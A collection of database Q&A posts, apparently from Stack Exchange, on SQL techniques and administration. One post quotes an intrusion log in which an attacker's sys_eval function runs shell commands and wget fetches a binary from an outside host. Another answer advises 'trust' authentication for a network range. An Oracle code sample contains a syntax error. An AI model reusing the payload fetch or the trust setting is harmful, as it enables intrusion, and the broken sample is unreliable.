If you want to be sure, you must run SHOW ENGINES;. That will show what storage engine is the default. The fact that the XtraDB plugins are active shows that XtraDB must be in use.


Alternative to Self Join I have asked a question here:
https://stackoverflow.com/questions/43807566/how-to-divide-two-values-from-the-same-column-but-at-different-rows

about dividing values from the same table, at the same column but on different rows. Now I have the problem where I have more numerators and denominators (with different uns). Is still the self join a good way to solve this problem with Postgres or there are better solutions?

Example:

| postcode | value | uns |
|----------|-------|-----|
|       AA |    40 |  53 |
|       BB |    20 |  53 |
|       AA |    10 |  54 |
|       AA |    20 |  55 |
|       AA |    10 |  56 |
|       AA |    30 |  57 |
|       AA |    50 |  58 |
|       BB |    10 |  54 |
|       BB |    10 |  55 |
|       BB |    70 |  56 |
|       BB |    80 |  57 |
|       BB |    10 |  58 |

Result should be:

| postcode | formula    |
|----------|------------|
|       AA | 18.888...  |
|       BB | 14.375     |

Where the value are grouped by postcode and the formula is (value with uns):

(V53 * V56 + V54 * V57 + V55 * V58) / (V56 + V57 + V58)

Paying attention to avoid eventual division by zero.
Formula can be even more complex but that is a good example.

You can aggregate all uns/value pairs into a JSON object, then use that to access the UNS values by name. This requires some casting as the values can only be extracted as text from the JSON object, but the formula looks very similar to your description then:

with vals(postcode, v) as (
  select postcode, json_object_agg(uns, value)
  from x
  group by postcode
), factors (postcode, denominator, divisor) as (
  select postcode,
         (v->>'53')::decimal * (v->>'56')::decimal + (v->>'54')::decimal * (v->>'57')::decimal + (v->>'55')::decimal * (v->>'58')::decimal,
         (v->>'56')::decimal + (v->>'57')::decimal + (v->>'58')::decimal
  from vals
)
select postcode,
       denominator / nullif(divisor, 0)
from factors;

I have divided the aggregation, the evaluation of the denominator and divisor and the final division into three steps to make it more readable.

Online example: http://rextester.com/IZYT54566

You can simplify the formula by creating a function:

create function val(p_vals json, p_uns text)
  returns decimal
as $$
  select (p_vals ->> p_uns)::decimal;
$$
language sql;

with vals (postcode, v) as (
  select postcode, json_object_agg(uns, value)
  from x
  group by postcode
), factors (postcode, denominator, divisor) as (
  select postcode,
         val(v, '53') * val(v, '56') + val(v, '54') * val(v, '57') + val(v, '55') * val(v, '58'),
         val(v, '56') + val(v, '57') + val(v, '58')
  from vals
)
select postcode,
       denominator / nullif(divisor, 0)
from factors;


Returning Row Count in a Stored Procedure in Oracle I'm mostly  SQL Server person, so forgive me if this is too close to SQL Server, but in a nutshell using Oracle 10 I'm trying to build a procedure something like this:

PROCEDURE SP_INFO_EX_S(
    v_EX_ID    IN NUMBER,
    v_EX_ROWS               OUT NUMBER
    )
AS

SELECT COUNT(*) AS ExCount
FROM EXAMPLE
WHERE EX_ID = v_EX_ID
END SP_INFO_EX;

What I'd like this to do is return v_EX_ROWS as the total number of rows in the example table that match the WHERE Clause, but Google doesn't seem to have the answer to this.  Am I missing something?  Thanks!

You are almost there, just put the result of the select into the out variable:

SELECT COUNT(*)
  into v_EX_ROWS
FROM EXAMPLE
WHERE EX_ID = v_EX_ID

You might be better of using a function though:

create or replace function SP_INFO_EX_S(v_EX_ID    IN NUMBER)
   return number
AS
  row_count number;
BEGIN
    SELECT COUNT(*)
      into row_count;
    FROM EXAMPLE
    WHERE EX_ID = v_EX_ID;

    return row_count;
END SP_INFO_EX;
/

Then just do:

select sp_info_ex_s(42) from dual;

Depending on your query tool, this might be easier to deal with than an out parameter.


Making a column immutable in MySQL I want to make a column in a relation unmodifyable for consistency reasons.

The backstory is that I have a n:n relationship where the "connecting" relation has additional values. I don't want that anyone is able to change the IDs of the relationship partners.

What I have come up with so far:

Creating a trigger that checks if the NEW value is the same as the OLD value. But I don't know how to deny the UPDATE action if the condition proves as TRUE.

Here is my trigger so far:

CREATE TRIGGER deny_nton_change BEFORE UPDATE ON Schueler_in_Klasse
FOR EACH ROW BEGIN
    IF NEW.Schueler_ID != OLD.Schueler_ID OR NEW.Klasse_ID != OLD.Klasse_ID THEN

    END IF;
END;

Rather than abort the update, just override it?

...
FOR EACH ROW BEGIN
    SET NEW.Schueler_ID = OLD.Schueler_ID;
    SET NEW.Klasse_ID = OLD.Klasse_ID;
END


MongoDB Ops Manager backup and restore The documentation claims that snapshots taken by ops manager are delta (differential) between successive snapshots.

How do you then restore?
I mean if you are able to delete some snapshots according to
retention, how do you connect the dots in between to restore to a
point in time.
What do they mean by base snapshot? Is that whole backup?
How can a given snapshot become full and ready for restore if any
snapshot before it is deleted?

I understand one can replay oplog to go forward to a point in time from a given snapshot. This question is if any snapshot before the snapshot where restore begins gets deleted how can you restore?

From MongoDB docs:

"...The snapshot only stores the differences between successive snapshots. Snapshots use only a fraction of the disk space required for full snapshots."

Any help is much appreciated.

I'm not sure which version of Ops Manager you were running, but there's been a lot of improvements in the last year. The latest docs explain the space-spacing approaches of the different storage choices:

MongoDB blockstore and AWS S3 bucket  - Each successive snapshot stores only the differences from the previous snapshot. Compression and block-level de-duplication reduce the size of snapshot data.
File system store - uses compression only.


Problem connecting to postgresql from external windows machine I have a Windows laptop running a postgresql database. I want to be able to pull data from this DB into an application on another laptop, say excel or access.

So far, I set up a DSN on my machine and it works fine if I want to pull data into excel on my machine. However, I cannot successfully replicate this process on another machine. I have already installed the Postgres ODBC driver on this machine.

Can anybody help me through this process? I'm completely new to database administration and mostly do not know what I am doing - any help would be greatly appreciated!

You need to edit pg_hba.conf file in your Postgres installation, and add an entry to allow access via other machine or allow network range.

host    all             all             10.10.10.0/24           trust

As you had success accessing Postgres on the same machine, that could be the reason.
Access via localhost is default.
Let us know if worked.


Create new table values based on partial column value - access I am trying to remove a ton of unnecessary rows in this table.

Currently there are 1.3m of them which are all an individual transaction id - with the country and destination assigned for each which is wayy wrong, given that the actual flight id is contained within the transaction id string.

The worst thing in the dataset which I've inherited, is the fact that within the transactions table there is a column with the extracted flight id as if it were a foreign key, but above is the 'flights' table. 'eyeroll'

My question is, how do I extract just the part which I have coloured in red? I can't use Left, Mid or Right, because they are variable lengths, some with 3 and 4 digits in the flight id itsself.

Is there a regex or something which can extract the text situated between 2 sets of underscores? which is just about the only viable rule in this sense.

Please bare in mind that I have never used regex before, and would need advice on how to format the expression in my query design view.

Any help is appreciated.

Since your starting position is fixed (after the 2nd _), you can use an Instr() function to find the position of the 3rd _, and just take the characters between.

Instr() returns the postion of the first instance of a character in a string. If the character is not found, it'll return 0. Note, Access considers the first character position to be 1.

Give this a try:

SELECT Mid(txn_id, 12, InStr(12, txn_id, '_')-12)
FROM MyTable`

Just for reference: https://support.office.com/en-us/article/InStr-Function-85d3392c-3b1c-4232-bb18-77cd0cb8a55b

Edit:

This is pretty gross, but if the 2nd _ position was also variable, this should work:

SELECT Mid(txn_id
           , Instr(Instr(1, txn_id, '_')+1, txn_id, '_')+1
           , Instr(
                   Instr(
                         Instr(1, txn_id, '_')+1
                         , txn_id
                         , '_')+1
                   , txn_id
                   , '_')-1 -  Instr(Instr(1, txn_id, '_')+1, txn_id, '_')
            )
FROM MyTable


Get another table row on the basis of first table Scenario,

I have three table like ,
Table - 1

table_1_id    status
   1          pending
   2          progress
   3

Table - 2

  table_2_id   status     table_1_id
     1         pending      1
     2         progress     1
     3         pending      2
     4         completed    3

Table -3

   table_3_id  status      table_2_id
        1      pending        1
        2      pending        2
        3      pending        1
        4      progress       2
        5      completed      3
        6      pending        4

All the table in one to many relation

I want to write query which cover following scenario

   1. Run the select statement on table_1 , with 'pending' status and given primary key of table_1.

     1.1 If row any found - then run the second select on table_2, with 'pending' status and the table_1 primary key (which is foreign key in table_2)

       1.1.1 If any row found - then run the third select on table_3 ,
           with pending status and table_2 primary key (which is foreign key in
           table_3), then return the primary key means table_3_id.

       1.1.2 If no row found- then return the primary key of table 2 means table_id_2.

     1.2 If no row found - then return the primary key of first table means table_1_id.

 2. If no row found - then return null

...
IF ( EXISTS ( SELECT * FROM ... WHERE ... ),  -- "If any row found.."
     ( SELECT ... ),   -- "then run .."
     id ),             -- "If no row found, return .."
...


Audit OSQL command shutting down a SQL Server I need to determine when, and by whom, a SQL Server was shutdown using the osql command. The osql command takes user name and password input. Are there any specific Windows Event logs generated to identify the user, time etc.?

As mentioned by Dan Guzman if you are using the T-SQL SHUTDOWN command to shut down SQL Server, you see see the details with username in two places:

SQL Server Error Log

  Date      3/15/2020 7:44:16 PM Log        SQL Server (Archive #1 - 3/15/2020
  7:44:00 PM)

  Source        spid67

  Message Server shut down by NOWAIT request from login
  domaninName\Username.

Windows Event Log

  Event Id: 6006

  Server shut down by NOWAIT request from login domaninName\Username.

If you are stopping SQL Server from configuration manager, services in the control panel or command prompt, you will only get the stop time but not the user who initiated the stop command.


How do I initialize transactional replication from a backup at a URL? I created a publication on my server. I had to use this special option so that I could initialize replication from a backup:

exec sp_addpublication
    ...
    @allow_initialize_from_backup = N'true',
    ...

Then, I took a backup of my database:

BACKUP DATABASE [MyDatabase]
    TO URL = 'https://fakestorageaccount.blob.core.windows.net/mycontainer/MyDatabase.bak'
    WITH CREDENTIAL = 'mycredential', COMPRESSION, STATS = 5;
GO

And restored from it on the target server:

RESTORE DATABASE [MyDatabase]
  FROM URL = 'https://fakestorageaccount.blob.core.windows.net/mycontainer/MyDatabase.bak'
  WITH CREDENTIAL = 'mycredential'
    ,MOVE 'MyDatabase' to 'SomePath\Data\MyDatabase.mdf'
    ,MOVE 'MyDatabase_log' to 'SomePath\Log\MyDatabase.ldf'
    ,STATS = 5
GO

Now I'm ready to create the subscriber. The problem I'm having is that I don't know what options to provide to the sp_addsubscription procedure.

I can make it through the process using a regular hard drive instead of a URL. I could see data being replicated from source to target. I back up to disk, copy the backup to the target server, restore, and then initialize from backup using this command:

exec sp_addsubscription
    @publication = N'MyPub',
    @subscriber = N'MyTargetServer',
    @destination_db = N'MyDatabase',
    @subscription_type = N'Push',
    @sync_type = N'initialize with backup',
    @article = N'all',
    @update_mode = N'read only',
    @subscriber_type = 0,
    @backupdevicetype = 'disk',
    @backupdevicename = 'D:\Backups\MyDatabase.bak'

How do I tweak these options in order to initialize replication from a URL (which in my case is an Azure blob storage container that both servers have the credentials for)?

This is a very good question but at the moment, initializing a subscription from a backup stored in Windows Azure Blob storage is not currently supported. I believe this would be a very cool feature for replication and I'm sure the folks at Microsoft would agree. I suggest proposing this idea on UserVoice.

However, since you've already restored the backup, and the schema and data are already in place at the subscriber, try executing sp_addsubscription with the @sync_type of 'replication support only' and see if that meets your needs.

More details for initializing a subscription manually can be found in How to: Initialize a Subscription Manually.


SQL Server 2005 upgrade to Service Pack 4 (SP4) via command line I have been wracking my brain over upgrading SQL Server 2005 to SQL Server 2005 SP4. I have a script for installing new instances of SQL Server for all versions and they all work wonderfully. Problem is, SQL Server 2012 can't upgrade SQL Server 2005 SP3 and below. So, I have to install SP4 to SQL Server 2005, AND THEN upgrade to SQL Server 2012, which is highly annoying.

I need to do this silently via the command line, but I cannot get it to work at all. Here are some samples I tried:

SQLSP4.exe /qb /ACTION=Upgrade /INSTANCENAME="FOOBAR"

SQLSP4.exe /quiet /instancename="FOOBAR"

Among a couple other variations. I could not find anything online at all. In fact, the one helpful thread ended in saying that Microsoft didn't have any support for this, but I'm not sure about that.

What can be done here? Does anyone have any experience in updating service packs via command line?

Make sure you include the /IAcceptSQLServerLicenseTerms switch, otherwise your installation will fail.  I have commonly done silent installs of service packs to using the following syntax:

.\<SQLServicePack>.exe /q /action=patch /instancename="FOOBAR" /IAcceptSQLServerLicenseTerms

Full syntax documented here.


PostgreSQL: How find functions that use sys_eval my server was hacked, I found this in the postgres log

2017-12-19 06:30:16 COT STATEMENT:  select sys_eval('pgrep baou87r1D9;pgrep 9rMhx24;pgrep Ps1fnYF3;pgrep P15xAw4;pgrep 8yV192n7;pgrep ktU5R693w2;pgrep VW5Ngjl;pgrep gwcaMW7;pgrep pvN195X8A;pgrep H80p3ao14Z;pgrep 6gBLwWlMrS;pgrep 78HgGw0L3;pgrep 5qKiw4e7gQ;pgrep iW35uqB60;pgrep qik7btShxK;pgrep xCi4Zze52;pgrep O0ajdnot;pgrep 6zmYcK1r;pgrep Hgb1hjvz;pgrep 38qz9Ivr;pgrep 0k693Runi;pgrep ax6fYNV;pgrep g3v50S64f7;pgrep 8y7kV496;pgrep 60m4qwFA;pgrep 0bs45q3k;pgrep 2R3e4g5l;pgrep 0a546q2T;pgrep c12yZ0v;pgrep KEq6m2kV5;');
--2017-12-19 06:31:09--  http://qwer.world/kw0rker

Resolviendo qwer.world... 138.197.116.216
Connecting to qwer.world|138.197.116.216|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1643240 (1.6M) [application/octet-stream]
Saving to: `/tmp/x0597078a'

     0K .......... .......... .......... .......... ..........  3%  397K 4s
    50K .......... .......... .......... .......... ..........  6%  793K 3s
   100K .......... .......... .......... .......... ..........  9%  794K 2s
   150K .......... .......... .......... .......... .......... 12% 59.9M 2s
   200K .......... .......... .......... .......... .......... 15%  800K 2s
   250K .......... .......... .......... .......... .......... 18% 83.3M 1s
   300K .......... .......... .......... .......... .......... 21%  807K 1s
   350K .......... .......... .......... .......... .......... 24% 84.6M 1s
   400K .......... .......... .......... .......... .......... 28% 7.91M 1s

I deleted the files in tmp, stopped an unknown postgres process, and changed firewall rules, pg_hba conf and password for database user.

I don't know if the malicious code still persists and I need reinstall my postgres installation. My plan was search the function and try to prevent future problems but the documentation I found for sys_eval is very limited.

How can I find where sys_eval is used in my existing code?

You can't find where sys_eval is used in our existing code, because this function does not exist on a clean system (unless you have gone out of your way to make it) so your code would have no reason to use it (unless of course your code-base was also hacked and had stuff inserted into it).  The function was created by the hacker as one of the steps of hacking your database.  The hacker could have called it anything he wanted.  He probably got the code here or similar, and then was too lazy to obfuscate the names.

If you are looking for where it is on the poisoned system, look in pg_proc.  But this system needs to be nuked from orbit, so there is probably no point in looking.  The changes you will make (on your clean system) to pg_hba, the firewall, and the database users (including the database superusers, which is where the hack happened, not just the ordinary users) should prevent them from exploiting the new system, but there is no way of telling how many trojans and backdoors were installed in the old one.


How to query closest date and display the specific data guys, I have a problem displaying data from my query code.
I want to display data from the closest date today. Below are my sample data and my output data that I want to display.

Landing Area data.

|landing_id| id_number| address |
+----------+----------+---------+
|    1     | 00012345 | Ozamiz  |
|    2     | 00012346 | Tudela  |
|    3     | 00012347 | Nailon  |
|    4     | 00012348 | Taboo   |
|    5     | 00012349 | Jimenez |
|    6     | 00012350 | Tangub  |
+----------+----------+---------+

Percentage data.

|percent_id| landing_id | percentage |     date_added     |
+----------+------------+------------+--------------------+
|    1     |     1      |    19      |2018-10-16 21:42:22 |
|    2     |     1      |    44      |2018-10-16 20:43:32 |
|    3     |     5      |    13      |2018-10-15 19:43:49 |
|    4     |     3      |    22      |2018-10-13 15:43:56 |
|    5     |     3      |    54      |2018-10-12 18:44:03 |
+----------+------------+------------+--------------------+

The query code is.

SELECT fish_landing.landing_id,
   percentage.percentage,
   percentage.date_added,
   fish_landing.address
FROM fish_landing
LEFT JOIN percentage ON percentage.landing_id = fish_landing.landing_id
LEFT JOIN (SELECT landing_id, MAX(date_added) AS max_date_added
        FROM percentage
        GROUP BY landing_id) AS dt
ON dt.landing_id = percentage.landing_id AND
 dt.max_date_added = percentage.date_added
ORDER BY fish_landing.landing_id ASC

The output of the query code above is this, where the date_added and the percentage is not exact, because the other landing_id is displayed.

|landing_id| percentage |     date_added     |
+----------+------------+--------------------+
|    1     |    19      |2018-10-16 21:42:22 |
|    1     |    44      |2018-10-16 20:43:32 |
|    2     |            |                    |
|    3     |    54      |2018-10-12 18:44:03 |
|    3     |    22      |2018-10-13 15:43:56 |
|    4     |            |                    |
|    5     |    13      |2018-10-15 19:43:49 |
|    6     |            |                    |
+----------+------------+--------------------+

And the output data that I want to display is the table below, having a latest date_added in every landing_id will be displayed.

|landing_id| percentage |     date_added     |
+----------+------------+--------------------+
|    1     |    19      |2018-10-16 21:42:22 |
|    2     |            |                    |
|    3     |    22      |2018-10-13 15:43:56 |
|    4     |            |                    |
|    5     |    13      |2018-10-15 19:43:49 |
|    6     |            |                    |
+----------+------------+--------------------+

I hope you can help me in my problem.

Try this trick

SELECT cte.landing_id,
       cte.percentage,
       cte.date_added,
       cte.address
FROM (  SELECT fish_landing.landing_id,
               percentage.percentage,
               percentage.date_added,
               fish_landing.address,
               (@row_number:=CASE WHEN @landing_id=fish_landing.landing_id THEN @row_number+1 ELSE 1 END) rn,
               (@landing_id:=fish_landing.landing_id)
        FROM (SELECT @landing_id:=0, @row_number:=0) vars,
                  fish_landing
        LEFT JOIN percentage ON percentage.landing_id = fish_landing.landing_id
        LEFT JOIN ( SELECT landing_id, MAX(date_added) AS max_date_added
                    FROM percentage
                    GROUP BY landing_id) AS dt
            ON dt.landing_id = percentage.landing_id
            AND dt.max_date_added = percentage.date_added
        ORDER BY fish_landing.landing_id ASC, percentage.date_added DESC
     ) cte
WHERE cte.rn = 1
ORDER BY cte.landing_id ASC;


Remove duplicates in sequence based on keys I am looking to remove duplicates on a row by row comparison based on keys Member and Group and data sorted ASC on Member, Group and StartDate. Just return the records in the select query and not delete in the table.

I am basically looking at a row by row comparison to eliminate the duplicates based on the 2 keys and value of the Status column with the data sorted by Member, Group and Start_date.

Sample data:

Member  Group   Status        Start_date        End Date
1         2     Active       4/12/2011 01:19    NULL
1         2     Active       4/12/2011 02:19    NULL
1         2     Inactive     4/12/2011 03:19    NULL
1         2     Inactive     4/15/2011 04:19    NULL
1         2     Inactive     4/16/2011 05:19    NULL
1         2     Pending      4/16/2011 11:23    NULL
1         2     Active       4/16/2011 11:25    NULL
1         2     Pending      4/16/2011 11:27    NULL
11        22    Inactive     4/16/2011 11:27    NULL

Expected Output:

Member  Group   Status        Start_date        End Date
1         2     Active       4/12/2011 01:19    NULL
1         2     Inactive     4/12/2011 03:19    NULL
1         2     Pending      4/16/2011 11:23    NULL
1         2     Active       4/16/2011 11:25    NULL
1         2     Pending      4/16/2011 11:27    NULL
11        22    Inactive     4/16/2011 11:27    NULL

DDL and DML:

CREATE TABLE `temp1` (
  `MEMBER_ID` int(10) unsigned NOT NULL,
  `GROUPIE_ID` int(10) unsigned NOT NULL,
  `STATUS` varchar(12) CHARACTER SET utf8 NOT NULL,
  `START_DATE` datetime DEFAULT NULL,
  `end_date` datetime DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'Active', '2011-04-12 01:19:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'Active', '2011-04-12 02:19:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'InActive', '2011-04-12 03:19:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'InActive', '2011-04-15 04:19:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'InActive', '2011-04-16 05:19:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'Pending', '2011-04-16 06:23:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'Active', '2011-04-16 07:25:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'Pending', '2011-04-16 08:27:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (1,2,'InActive', '2011-04-17 09:27:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (11,22,'Active', '2011-04-12 01:19:51 PM', NULL);
Insert into temp1(Member_id, Groupie_id, Status,Start_date, End_Date )
values (11,23,'InActive', '2011-04-13 02:19:51 PM', NULL);

This works on consecutive Start_date for each partition (on Member):

SELECT `Member`, `Group`, `Status`, `Start_date`, `End Date`
FROM (
    SELECT @row := CASE WHEN @status=Status AND @member=Member AND @group = `Group`
        THEN @row + 1 ELSE 1 END as row
        , @member:=Member as Member
        , @group:=`Group` as `Group`
        , @status:=Status as Status
        , `Start_date`, `End Date`
    FROM data d
        , (SELECT @row := 0, @status := '', @member := 0, @group := 0) v
    ORDER BY Member, `Group`, Start_date
) as n
WHERE row = 1
ORDER BY Member, Start_date
;

Sample SQL Fiddle.

The behavior of this query is similar to the ROW_NUMBER()  available in Oracle (>= 10g), PostgreSQL (>= 8.4) and SQL Server (>= 2012).

Notes on Partitions:

This query and SQL Fiddle partition by Members and order Status by Members and Start_date.
Partition can be remove by removing @member=Member from CASE
Partition can be added or set by both Members and Group like this (SQL Fiddle):

Add a test on @group = 'group' to the CASE
Add @group := 'Group' as 'Group' in the inner SELECT [n]
Add @group := 0 in the variable SELECT [v]
Add Group to ORDER BY clauses

In term of performance, an index matching the order and columns used in the ORDER BY and CASE is very likely needed.

Output:

Member  | Group     | Status    | Start_date                | End Date
1       | 2         | Active    | April, 12 2011 03:19:00   | (null)
1       | 2         | Inactive  | April, 12 2011 05:19:00   | (null)
1       | 2         | Pending   | April, 16 2011 13:23:00   | (null)
1       | 2         | Active    | April, 16 2011 13:25:00   | (null)
1       | 2         | Pending   | April, 16 2011 13:27:00   | (null)
11      | 22        | Inactive  | April, 16 2011 13:27:00   | (null)


Oracle Imp Dump Full Can I create a new instance in a new server and import a dump file which was made with the command exp full=y etc?

If it is possible do I need to recreate tablespaces and users before the import? If yes can I find these two from the dump file alone?

If you do a full import, the import will attempt to create all the tablespaces and data files exactly as they existed in the source system.  If you want exactly the same data files on exactly the same locations, you're all set.  If you want the data files to be in different locations, you would need to create the tablespaces before doing the import.

If you do a full import, the import will create all the users.


Why is there a writable instance inside a secondary region for MySQL AWS Aurora Replica? I have created two Aurora MySQL clusters with two nodes in two regions using terraform. The secondary region is set up to replicate from primary region using binlog. This seems to be set up correctly, describe-db-clusters shows replication info and Replication source is displayed on the secondary cluster in the Console.
What confuses me is that in the secondary region, there is a write node. I can connect to it, add data to table and it gets propagated back to primary region—and vice versa. I am specifically not using multimaster cluster (which is single-region only anyway) and I am not using global database as I want to scale to more regions. Based on AWS docs, only global database supports write forwarding.
I only tried with manually connecting to the instances using mysql CLI as I want to understand the characteristics before using this with an application.
How is this possible? Is there any documentation? How does this setup handle update conflicts?

When you create Amazon RDS instance it creates default instance with 2 endpoints, a writer and a reader endpoint with MultiAZ.
The reader endpoint is always a readonly, and it switches during failover.
Its provided by AWS to achieve the high avialablity.


why does create index with SET FOREIGN_KEY_CHECKS=0; and SET UNIQUE_CHECKS = 0; take a lot of time? i am adding index to a very large table , around 25 M records and 60 GB of data.
i am using MYSQL version 5.6 InnoDB , my statement is :

SET FOREIGN_KEY_CHECKS=0;
SET UNIQUE_CHECKS = 0;
ALTER TABLE `my_table`
ADD   KEY `my_idx` (`site_id`,`name`);

and i am running it like this :

mysql --host=**.database.azure.com -u *** -p*** my_db < my_file.sql

but it take around 1 hour , the same time as without this statement , what am i missing ?

SET FOREIGN_KEY_CHECKS=0; and SET UNIQUE_CHECKS = 0; are meant for speeding up imports (typically INSERT statements) into tables where foreign keys and unique indexes already exist. They are not meant to speed up the creation of indexes.


@table_variable or #temp_table I have a big user defined table type variable that has 129 columns. I will store around 2000-3000 records in this table variable at a time and pass it to various stored procedures and functions to get additional data and make modifications.  These additional data and new modifications will then be stored in a new table variable of the same type and returned to the source stored procedure via an OUTPUT parameter. (This is because a table type parameter can only be passed as READONLY.)

This is my pseudo-code:

  SP1
  @tmp tableType
  {
        INSERT @tmp EXEC
        SP2 (@tmp)

        INSERT @tmp EXEC
        SP3 (@tmp)
  }

Should I use a @table_variable or #temp_table?

There are two blogs you should look at.  The first (here) is a comparison of Table Variables and Temp Tables.  It is from 2008 and remains relevant for SQL Server 2008 R2.

The second blog entry (here) deals with some of the misconceptions (missed-conceptions) regarding Table Variables; including indexing a Table Variable.

Both of these blog entries, articles, are written by Gail Shaw.

I believe the one telling item you are looking for is a Table Variable may not be passed between stored procedures while a Temp Table is able to be passed between stored procedures.  The closest a Table Variable comes to passing between stored procedures is as a User-Defined Table Type.

Passing a Table Variable as a TVP to a stored procedure has the requirement it must be defined as a READ-ONLY parameter.  This implies there will be multiple copies of the Table Variable if you want to return a modified copy of it.

All told, passing between stored procedure may be better served by a Temp Table when you want to return the passed-in structure with updated values.


Restore mysql database with different name How can we restore mysql database with different name from mysqldump file.
 I dont't want to open dump file and edit it. Any other better methods?

You can let mysqldump create the dump in such a way that it does not create or select  the database.

EXAMPLE : You are dumping the database db1 and loading it into database db2

This will put in the CREATE DATABASE and the USE commands in the dump

mysqldump -u... -p... --routines --triggers --databases db1 > /root/db1.sql

This will not put in the CREATE DATABASE and the USE commands in the dump (this is what you want)

mysqldump -u... -p... --routines --triggers db1 > /root/db1.sql

You can load it into another database (such as db2) in one of four(4) ways:

OPTION 1

$ mysqldump -u... -p... --routines --triggers db1 | mysql -u... -p... -A -Ddb2

OPTION 2

$ mysqldump -u... -p... --routines --triggers db1 > /root/db1.sql
$ mysql -u... -p... -A -Ddb2 < /root/db1.sql

OPTION 3

$ mysqldump -u... -p... --routines --triggers db1 > /root/db1.sql
$ mysql -u... -p... -A -Ddb2
mysql> source /root/db1.sql

OPTION 4

$ mysqldump -u... -p... --routines --triggers db1 > /root/db1.sql
$ mysql -u... -p... -A
mysql> use db2
mysql> source /root/db1.sql

Give it a Try !!!


Is there some plugin that would reconnect query tabs to original DB's in SSMS? It's a minor thing, but annoying one.

I'm currently working on about 5 different databases, and every time I restore db's from snapshots or run my restore from backup scripts, all of the queries get disconnected.
Sure, I can just rerun them, but the db is set to 'master' by default (yes, writing use mydbx at the beginning of query is useful, but often forgotten, and I usually have two pages of various scripts in each).

Is there some plugin out there that would remember which query was on which db, and reconnect automatically from time to time?

You can set the default database for each login. If you subsequently drop this database you can run into chicken-and-egg problems trying to correct it, so be careful.


SQL Server 2008/R2 recovery model Pretty much all of our databases on certain servers do not require the Full Recovery model (we don't do transaction log backups) and the default should always be to create databases and specify the Simple Recovery model.

Quite often and for certain practical reasons many databases are created using SSMS. However mistakes can be made and the operator can forget to specify the Simple Recovery model. This leads to a "suprise" a few days later when the box is struggling with disk space due to three or four 60GB log files that have never been truncated.

I can make the Simple Recovery model the default setting for new databases by configuring the recovery model on the model database. However, is this recommended, if I do this could it come back and bite me in any way in the future?

I see one of three options here:

1) you can have a templated script to create databases that explicitly includes the recovery model.

2) you can set the model database to simple and not have to worry about this.

3) you can hope everybody remembers, which seems like what you are doing. (not recommended)

I would personally go with number two. That's what the model database is there for.


How to update SQL Server 2005 clustered instances? We have a 3 node cluster with an instance running on each.
Windows 2003 R2 32bit (16GB) / SQL Server 2005

I want to bring them all up to build 9.00.5266 (SP 4 + CU3) (1 Node is already updated)
The links and articles I have found haven't been very helpful in terms of order installation and gotchas.

Our test cluster nodes were already at 9.00.5266. (My predecessor did that before I arrived).

I updated the test cluster instances to 9.00.5292 (Cluster only has 2 nodes)
Although I got there, this did not go as expected....

The plan was :

Move all instances to node2
Update the instances on node1
Reboot node1
Move all instances to node1
Update the instances on node2
Reboot node2
Move an instance to node1

I got to step 5. Then the installer said I had to use the active node. That means that the instance must go offline.

Is this a pitfall of SQL Server 2005 or am I doing this wrong?

Why did the first update work?

There are only few hotfixes available after build 9.00.5292 (All via links from MS upon request) so I can't experiment any further without reinstalling the test cluster.

I'm sure there are a couple of DBAs out there that have experience with updating SQL Server 2005 clustered instances. [Smile]

Most helpful links found:

SQL Server failover cluster rolling patch and service pack process(2008+ only. No link to 2005) [Sad]
[How to install SQL Server 2005 SP3]3

I think this is a pitfall. I recall SQL 2005 and older versions requires active nodes to be updated. SQL 2008 and later versions allow passive node updates like the walkthrough you described. A posting from Linchi Shea explains it well.


The process cannot access the file because it is being used by another process I'm using SQL Server 2008 R2.  Absolutely new to DBA role, but I've worked with SQL and VS for a while.

I've installed the 2 aforementioned softwares on my home computer.  If I have VS2010 open and try to open the SQL Server database so I can make changes to something, I'm getting the error:

  The process cannot access the file because it is being used by another process.

Now, at work I can definitely have VS2010 open and edit stuff in my database, so I'm guessing there's a setting that allows you to do this?  Can anyone tell me where this setting is, and how to adjust it so that I don't have to exit VS2010 every time I need to write a new Stored Procedure in SQL Server?

just make sure to close the designer window before hitting F5.


Aggresive indexes lead to lock times Using sp_blitzindex from Brent Ozar, I found this particular problem.

The table(s) - (there are many of them, about 80, per business object) - are simple:

User id
Primary key of business object (if PK is composite, there are several columns)

During a particular task, all records of a given user are DELETED and new records are inserted.

delete from OrderTrackingTable where USR_ID = @UsrID

The delete command is created as dynamic SQL inside a stored procedure and executed.

This leads to masive lock wait times on those tables and timeouts.

Has anyone encountered similar problems and anyone has idea for solutions?

sp_blitzindex reports:

  dba.OrderTrackingTable.PK__OrderTrackingTable__BBFBFF17660BA3C2 (1): Page lock waits: 43; total duration: 42 minutes; avg duration: 58 seconds; Lock escalation attempts: 252,312; Actual Escalations: 6.
  Reads: 2,000 (1,960 seek 40 scan) Writes:1,960

DML:

 create table OrderTrackingTable (
    USR_ID      smallint,
    ORDER_ID    int,
    ORDER_ID2   int,
    PRIMARY KEY ( [USR_ID], [ORDER_ID], [ORDER_ID2] )
    )

EDIT

about 2 000 000 records are deleted and inserted

Let's start by looking at the results of sp_blitzindex:

Lock escalation attempts: 252,312; Actual Escalations: 6

What is lock escalation? The first sentence from that page explains it pretty well:

Lock escalation is the process of converting many fine-grain locks into fewer coarse-grain locks, reducing system overhead while increasing the probability of concurrency contention.

Here are a few other important quotes:

The Database Engine does not escalate row or key-range locks to page locks, but escalates them directly to table locks. Similarly, page locks are always escalated to table locks.
When the Database Engine checks for possible escalations at every 1250 newly acquired locks, a lock escalation will occur if and only if a Transact-SQL statement has acquired at least 5000 locks on a single reference of a table.

